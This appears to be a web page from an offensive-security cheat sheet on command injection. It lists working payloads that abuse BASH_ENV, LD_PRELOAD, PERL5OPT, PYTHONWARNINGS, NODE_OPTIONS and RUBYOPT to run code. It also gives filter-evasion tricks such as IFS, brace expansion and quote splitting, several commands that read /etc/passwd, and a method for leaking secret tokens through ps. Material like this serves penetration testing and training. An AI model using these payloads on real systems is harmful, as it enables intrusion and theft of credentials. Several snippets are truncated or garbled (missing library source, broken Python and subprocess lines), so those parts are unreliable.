Command Injection

Environment variables


You can use BASH_ENV with bash to achieve a command injection:

$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)



You can use BASH_FUNC_*%% to initialize an anonymous function according to the value of the environment variable and give it a name. The following sample adds myfunc function to the bash context:

$ env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
uid=0(root) gid=0(root) groups=0(root)

Moreover, you can override existing functions:

$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)



When you force the dash to behave interactively, dash will look for ENV environment variable and pass it into read_profile function:

if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {

read_profile will print the ENV content:

$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)

You can gain the same result with sh:

$ ENV='$(id 1>&2)' sh -i -c "echo hello"
uid=0(root) gid=0(root) groups=0(root)



The following GIT_* parameters can be used to abuse a git directory:


LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library

In Linux C, functions can be declared with attributes within the function definition. This is done by adding the desired attributes to the function definition. There are two attributes of interest, constructor and destructor. A function with the constructor attribute will run before the program executes main(). For shared objects, this would occur at load time. A function declared with the destructor attribute should run once main() has returned or exit() is called.

LD_PRELOAD can be used to override the standard libc calls, check Abusing LD_PRELOAD for fun and profit

In other words, you can compile a shared library to be invoked at load time and/or before return:

  1. Reuse the following code for compiling a shared library:

  1. Compile the shared library with the next command:

    $ gcc -Wall -O3 -fPIC -shared inject.c -o
  2. Exploit:

    $ LD_PRELOAD=./ git -v
    [+] Loaded!
    [*] PID: 1337
    [*] Process: /usr/bin/git
    Unknown option: -v
    usage: git [--version] [--help] [-C <path>] [-c name=value]
            [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
            [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
            [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
            <command> [<args>]
    [-] is being unloaded!
    $ LD_PRELOAD=./ id
    [+] Loaded!
    [*] PID: 1337
    [*] Process: /usr/bin/id
    uid=0(root) gid=0(root) groups=0(root)
    $ LD_PRELOAD=./ bash -c "echo 'hello'"
    [+] Loaded!
    [*] PID: 1337
    [*] Process: /bin/bash
    [-] is being unloaded!



PERL5OPT specifies command-line options but is restricted to only accepting the options CDIMTUWdmtw.

PERL5OPT=-M can be used to load a Perl module and add extra code after the module name:

PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`)' perl /dev/null



PERL5DB specifies the command used to load the debugger code. PERL5DB is only used when Perl is started with a bare -d switch.

PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null



PERLLIB and PERL5LIB set a list of directories in which to look for Perl library files before looking in the standard library. If PERL5LIB is defined, PERLLIB is not used.

PERLLIB and PERL5LIB can be used to execute arbitrary commands if there is a way to write a malicious Perl module to a file system:

$ cat > /tmp/ << EOF
package root;
use strict;
use warnings;

system("cmdname arg1 arg2");
$ PERLLIB=/tmp PERL5OPT=-Mroot perl /dev/null



PYTHONWARNINGS is equivalent to specifying the -W option that is used for warning control. The full form of argument is action:message:category:module:line.

Warning control triggers the import of an arbitrary Python module if the specified category contains a dot:

# /Lib/
# ...
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
        module, _, klass = category.rpartition('.')
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
# ...

PYTHONWARNINGS can be used to execute arbitrary commands if there is a way to write a malicious Python module to a file system:

$ cat > /tmp/ << EOF
import os
os.system("cmdname arg1 arg2")
$ PYTHONPATH="/tmp" PYTHONWARNINGS=all:0:exec.x:0:0 python3 python /dev/null

However, you can use the antigravity module from Python’s standard library to run arbitrary commands. Running import antigravity will immediately open a browser to the xkcd comic that joked that import antigravity in Python would grant you the ability to fly. The antigravity uses another module from the standard library called webbrowser to open a browser. This module checks PATH for a large variety of browsers, including mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx. It also accepts an environment variable BROWSER that can be used to specify which process should be executed. It is not possible to supply arguments to the process in the environment variable and the xkcd comic URL is the one hard-coded argument for the command:


One way to execute arbitrary commands is to leverage Perl which is commonly installed on systems and is even available in the standard Python docker image. However, the perl binary can not itself be used. This is because the first and only argument is the xkcd comic URL. The comic URL argument will cause an error and the process to exit without the PERL5OPT environment variable being used.

Fortunately, when Perl is available it is also common to have the default Perl scripts available, such as perldoc and perlthanks. These scripts will also error and exit with an invalid argument, but the error in this case happens later than the processing of the PERL5OPT environment variable. This means it is possible to leverage the Perl environment variables to execute commands.

$ PYTHONWARNINGS=all:0:antigravity.x:0:0 BROWSER=perlthanks PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`);' python3 python /dev/null



NODE_OPTIONS specifies a space-separated list of command-line options.

NODE_OPTIONS can be used to execute arbitrary commands if there is a way to write a malicious Node.js module to a file system:

$ cat > /tmp/exec << EOF
$ NODE_OPTIONS='--require /tmp/exec' node node /dev/null

If there is no way to write a module to a file system you can use the proc filesystem, specifically /proc/self/environ, to deliver a payload.

$ AAAA='console.log(require("child_process").execSync("id").toString());//' NODE_OPTIONS'=--require /proc/self/environ' node node /dev/null

However, there are two constraints:

  1. Using /proc/self/environ is only possible if the content is syntactically valid JavaScript. To do this, you need to be able to create an environment variable and make it appear first in the contents of /proc/self/environ.

  2. Since the value of the first environment variable ends with a single-line comment //, any newlines in other environment variables will cause a syntax error. Using multiline comments /* will not solve the problem, as they must be closed to be syntactically valid. In such cases, it is necessary to overwrite the value of the variable that contains the newline character.



RUBYOPT specifies command-line options.

RUBYOPT can be used to execute arbitrary commands if there is a way to write a malicious Ruby library to a file system. -r option causes Ruby to load the library using require but this is limited to files with an extension of .rb or .so:

$ cat > /tmp/exec.rb << EOF
puts `cmdname arg1 arg2`
$ RUBYOPT=-r/tmp/exec.rb ruby /dev/null




// os.StartProcess
var procAttr = os.ProcAttr
    []string{"arg1", "arg2"},

// os/exec.Command
exec.Command("cmdname", "arg1", "arg2").Run()

// command line execution
cmd := exec.Command("bash", "-c", "cmdname arg1 arg2")
out, err := cmd.Output()

// os/exec.CommandContext
exec.CommandContext(ctx, "cmdname", "arg1", "arg2").Run()

// os/exec.Cmd
cmd := &exec.Cmd {
    Path: "cmdname",
    Args: []string{ "arg1", "arg2" },

// syscall.Exec
    []string{ "arg1", "arg2" },

// syscall.ForkExec (unix only)
var procAttr = os.ProcAttr
    []string{ "arg1", "arg2" },

// syscall.StartProcess
var procAttr = os.ProcAttr
    []string{ "arg1", "arg2" },

// syscall.CreateProcess and syscall.CreateProcessAsUser (windows only)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
cmdline := syscall.UTF16PtrFromString("cmdname arg1 arg2")
syscall.CreateProcess(nil, cmdline, nil, nil, true, 0, nil, nil, &sI, &pI)


// java.lang.Runtime.exec
Runtime.getRuntime().exec("cmdname arg1 arg2");
Runtime.getRuntime().exec(new String[] {"cmdname", "arg1", "arg2"})
// or full path
java.lang.Runtime.getRuntime().exec("cmdname arg1 arg2");

// java.lang.ProcessBuilder
new ProcessBuilder("cmdname", "arg1", "arg2").start();
new ProcessBuilder(new String[]{"cmdname", "arg1", "arg2"}).start();
// or using command
ProcessBuilder pb = new ProcessBuilder();
pb.command("cmdname", "arg1", "arg2").start();
pb.command(new String[]{"cmdname", "arg1", "arg2"}).start();
// or full path
new java.lang.ProcessBuilder("cmdname", "arg1", "arg2").start();

// org.apache.commons.exec.Executor
Executor exec = new DefaultExecutor();
exec.execute(new CommandLine("cmdname arg1 arg2"););

// javax.script.ScriptEngine eval
new ScriptEngineManager()
    .eval("js code here");

// java.lang.Runtime loadLibrary
Runtime.getRuntime().loadLibrary("path to library here");
java.lang.Runtime.getRuntime().loadLibrary("path to library here");

// groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();


// child_process or mz/child_process

// child_process.exec
const { exec } = require('child_process');
exec('cmdname arg1 arg2');
exec('...', { 'shell': '/path/to/controlled/executable/file' });

// child_process.execSync
const { execSync } = require('child_process');
execSync('cmdname arg1 arg2');
execSync('...', { 'shell': '/path/to/controlled/executable/file' });

// child_process.execFile
const { execFile } = require('child_process');
execFile('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// child_process.execFileSync
const { execFileSync } = require('child_process');
execFileSync('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// child_process.spawn
const { spawn } = require('child_process');
spawn('cmdname', ['arg1', 'arg2']);
spawn('cmdname arg1 arg2', { shell: true });

// child_process.spawnSync
const { spawnSync } = require('child_process');
spawnSync('cmdname', ['arg1', 'arg2']);
spawnSync('cmdname arg1 arg2', { shell: true });

// shelljs.exec
var shell = require('shelljs');
shell.exec('cmdname arg1 arg2');

// cross-spawn.spawn
const spawn = require('cross-spawn');
spawn('cmdname', ['arg1', 'arg2']);
spawn.sync('cmdname', ['arg1', 'arg2']);

// execa

// execa.execa
import { execa } from 'execa';
execa.execa('cmdname', ['arg1', 'arg2']);

// execa.execaSync
import { execaSync } from 'execa';
execa.execaSync('cmdname', ['arg1', 'arg2']);

// execa.$`command`
import { $ } from 'execa';
$`cmdname arg1 arg2`;

// execa.$.sync`command`
import { $ } from 'execa';
$.sync`cmdname arg1 arg2`

// execa.execaCommand
execa.execaCommand('cmdname arg1 arg2')

// execa.execaCommandSync
execa.execaCommandSync('cmdname arg1 arg2')


# os.system
os.system("cmdname arg1 arg2")

# os.popen
os.popen("cmdname arg1 arg2")

# Deprecated, available in Python <= 2.7
# os.popen2, os.popen3, os.popen4
os.popen2("cmdname arg1 arg2")

# os.spawn*
os.spawnl(mode, "path", "arg1", "arg2")
os.spawnle(mode, "path", "arg1", "arg2", os.environ)
os.spawnlp(mode, "file", "arg1", "arg2")
os.spawnlpe(mode, "file", "arg1", "arg2", os.environ)
os.spawnv(mode, "path", ["arg1", "arg2"])
os.spawnve(mode, "path", ["arg1", "arg2"], os.environ)
os.spawnvp(mode, "file", ["arg1", "arg2"])
os.spawnvpe(mode, "file", ["arg1", "arg2"], os.environ)

# os.exec*
os.execl("path", "arg1", "arg2")
os.execle("path", "arg1", "arg2", os.environ)
os.execlp("file", "arg1", "arg2")
os.execlpe("file", "arg1", "arg2", os.environ)
os.execv("path", ["arg1", "arg2"])
os.execve("path", ["arg1", "arg2"], os.environ)
os.execvp("file", ["arg1", "arg2"])
os.execvpe("file", ["arg1", "arg2"], os.environ)

# os.posix_spawn
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# os.posix_spawnp
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

#"cmdname arg1 arg2", shell=True)["cmdname", "arg1", "arg2"])

#"cmdname arg1 arg2", shell=True)["cmdname", "arg1", "arg2"])

# subprocess.Popen
subprocess.Popen("cmdname arg1 arg2", shell=True)
subprocess.Popen(["cmdname", "arg1", "arg2"])

# subprocess.check_call
subprocess.check_call("cmdname arg1 arg2", shell=True)
subprocess.check_call(["cmdname", "arg1", "arg2"])

# subprocess.check_output
subprocess.check_output("cmdname arg1 arg2", shell=True)
subprocess.check_output(["cmdname", "arg1", "arg2"])

# subprocess.getoutput
subprocess.getoutput("cmdname arg1 arg2")

# subprocess.getstatusoutput
subprocess.getstatusoutput("cmdname arg1 arg2")

# Deprecated, available in Python <= 2.7
# popen2.popen2, popen2.popen3, popen2.popen4, popen2.Popen3, popen2.Popen4
popen2.popen2("cmdname arg1 arg2")
popen2.Popen3("cmdname arg1 arg2")

# Deprecated, available in Python <= 2.7
platform.popen("cmdname arg1 arg2")


# backticks
`cmdname arg1 arg2`

# %x command
%x cmdname ;
# %x<CHAR>command<CHAR>
%x(cmdname arg1 arg2)
%x[cmdname arg1 arg2]
%x|cmdname arg1 arg2|
%x{cmdname arg1 arg2}
%x/cmdname arg1 arg2/
%x"cmdname arg1 arg2"
# ...

# shell heredoc
cmdname arg1 arg2

# Kernel.exec
exec("cmdname arg1 arg2")
exec(["cmdname", "argv0"], "arg1", "arg2")
exec("cmdname", "arg1", "arg2")
# or
Kernel.exec("cmdname arg1 arg2")

# Kernel.system
system("cmdname arg1 arg2")
system(["cmdname", "argv0"], "arg1", "arg2")
system("cmdname", "arg1", "arg2")
# or
Kernel.system("cmdname arg1 arg2")

# Kernel.spawn
spawn("cmdname arg1 arg2")
spawn(["cmdname", "argv0"], "arg1", "arg2")
spawn("cmdname", "arg1", "arg2")
# or
Kernel.system("cmdname arg1 arg2")

open("| cmdname arg1 arg2")
# or"| cmdname arg1 arg2")

# Process.spawn
Process.spawn("cmdname arg1 arg2")
Process.spawn(["cmdname", "argv0"], "arg1", "arg2")
Process.spawn("cmdname", "arg1", "arg2")

# Process.exec
Process.exec("cmdname arg1 arg2")
Process.exec(["cmdname", "argv0"], "arg1", "arg2")
Process.exec("cmdname", "arg1", "arg2")

# IO.popen
IO.popen("cmdname arg1 arg2")
IO.popen(["cmdname", "arg1", "arg2"])
IO.popen([["cmdname", "argv0"], "arg1", "arg2"])

#"| cmdname arg1 arg2")

# IO.write
IO.write("| cmdname arg1 arg2")

# IO.binread
IO.binread("| cmdname arg1 arg2")

# IO.binwrite
IO.binwrite("| cmdname arg1 arg2")

# IO.foreach
IO.foreach("| cmdname arg1 arg2")

# IO.readlines
IO.readlines("| cmdname arg1 arg2")

# Open3.capture2
Open3.capture2("cmdname arg1 arg2")

# Open3.capture2e
Open3.capture2e("cmdname arg1 arg2")

# Open3.capture3
Open3.capture3("cmdname arg1 arg2")

# Open3.popen2
Open3.popen2("cmdname arg1 arg2")
Open3.popen2(["cmdname", "arg1", "arg2"])
Open3.popen2([["cmdname", "argv0"], "arg1", "arg2"])

# Open3.popen2e
Open3.popen2e("cmdname arg1 arg2")
Open3.popen2e(["cmdname", "arg1", "arg2"])
Open3.popen2e([["cmdname", "argv0"], "arg1", "arg2"])

# Open3.popen3
Open3.popen3("cmdname arg1 arg2")
Open3.popen3(["cmdname", "arg1", "arg2"])
Open3.popen3([["cmdname", "argv0"], "arg1", "arg2"])

# Open3.pipeline(_r/_w/_rw/_start)
Open3.pipeline("cmdname arg1 arg2", "cmdname arg1 arg2")
Open3.pipeline(["cmdname", "arg1", "arg2"], "cmdname arg1 arg2")
Open3.pipeline([["cmdname", "argv0"], "arg1", "arg2"], "cmdname arg1 arg2")

# Reference:
require "open-uri""| cmdname arg1 arg2")

# Reference:
# Object.send, Object.public_send
1.send("eval", "`cmdname arg1 arg2`")
"".send("eval", "`cmdname arg1 arg2`")
o.send("method", "args")

Linux files


/etc/environment contains environment variables specifying the basic environment variables for new shells. However, it can be used by other programs. Every executed job in the Linux task scheduler (cron) imports this file, and if there is a job that is executed by a user (e.g. root), you can abuse /etc/environment to execute arbitrary code on behalf of that user. For example, you can use LD_PRELOAD to gain code execution.



Brace expansion

Brace expansion is a mechanism by which arbitrary strings may be generated. Patterns to be brace expanded take the form of an optional preamble, followed by either a series of comma-separated strings or a sequence expression between a pair of braces, followed by an optional postscript. The preamble is prefixed to each string contained within the braces, and the postscript is then appended to each resulting string, expanding left to right. For instance:

$ echo a{d,c,b}e
ade ace abe

You can use brace expansion to create payloads:

$ {cat,/etc/passwd}


Command substitution

Command substitution allows the output of a command to replace the command itself. Command substitution occurs when a command is enclosed as follows:


Bash performs the expansion by executing the command in a subshell environment and replacing the command substitution with the standard output of the command.


Characters encoding

There are several ways to work with encoded strings:

  1. $'string' words:

    Words of the form $'string' are treated specially. The word expands to string, with backslash-escaped characters replaced as specified by the ANSI C standard.

    $ a=$'\x74\x65\x73\x74'; echo $a
    $ a=$'\164\145\163\164'; echo $a
    $ a=$'\u0074\u0065\u0073\u0074'; echo $a
    $ a=$'\U00000074\U00000065\U00000073\U00000074'; echo $a
  2. echo command:

    echo provides -e option to interpret backslash escapes. Note the recognized sequences depend on a version of echo, as well as the -e option may not be present at all.

    echo -e "\x74\x65\x73\x74"
    echo -e "\0164\0145\0163\0164"
  3. xxd command:

    $ xxd -r -p <<< 74657374
    $ xxd -r -ps <(echo 74657374)


Leak command line arguments

If you have parameter injection in a cli command that has been passed sensitive parameters, such as tokens or passwords, you can try to leak the passed secret with ps x -w.

# you can inject arbitrary parameters to <injection here> part
$ command --user username --token SECRET_TOKEN <injection here>
# send the vulnerable command to background with &
# and catch the parameters with ps x -w
$ command --user username --token SECRET_TOKEN & ps x -w

   1337 ?        S      0:00 /usr/bin/command --user username --token SECRET_TOKEN
   1574 ?        R      0:00 ps x -w

This can be useful if the cli logs hide sensitive settings or sensitive data is not stored in the environment.

This can be useful if the cli logs hide sensitive data or sensitive data is not stored in the environment (for instance, GitHub Actions provide variable interpolation ${{...}} for injecting secrets, and you can't give access to secrets during execution). Another case is when you have blind injection and can redirect the output of ps x -w to a file that you have access to.

List of commands

Combine the execution of multiple commands using the operators ;, &, &&, or ||, and optionally terminated by one of ;, &, or .

$ command1; command2
$ command1 & command2
$ command1 && command2
$ command1 || command2 # only if command1 fail
$ command1\ncommand2

Moreover, you can use pipelines for the same purposes:

$ command1 | command2 
$ command1 |& command2 


Producing slash with tr

$ echo . | tr '!-0' '"-1'
$ tr '!-0' '"-1' <<< .
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd


Redirect input and output before a command will be executed using the operators >, >|, >>, <, and etc.

$ ls > dirlist 2>&1
$ cat</etc/passwd

Supply a single string with a newline appended using the operator <<<.

$ base64 -d <<< dGVzdA==


Shell parameter expansion

The basic form of parameter expansion is ${parameter}; the value of the parameter is substituted:

$ a="es"; echo "t${a}t"

More complex forms of parameter expansions allow you to perform various operations. For instance, you can extract substrings and use them to create payloads:

$ echo ${HOME:0:1}
$ cat ${HOME:0:1}etc${HOME:0:1}passwd

Additionally, match and replace can be useful when working with blacklists:

$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}


Special shell parameters

There are several parameters that the shell treats specially. Some of these parameters you can use to create payloads:

$ i$@d
# $0 expands to the name of the shell or shell script
$ bash -c 'echo id|$0'


Shell variables

Bash automatically assigns default values to many variables, such as HOME or PATH. Some of these variables can be used to create payloads. For instance, you can use IFS variable as a separator (this is possible since IFS contains a list of characters that separate fields):

$ cat$IFS/etc/passwd
$ echo${IFS}"test"

Moreover, you can override IFS and use any character as a separator:

$ IFS=,;`cat<<<uname,-a`



# using single quotes in command names
$ w'h'o'am'i
# using double quotes in command names
$ w"h"o"am"i
# using backslashes and slahes in command names
$ w\ho\am\i
$ /\b\i\n/////s\h


Last updated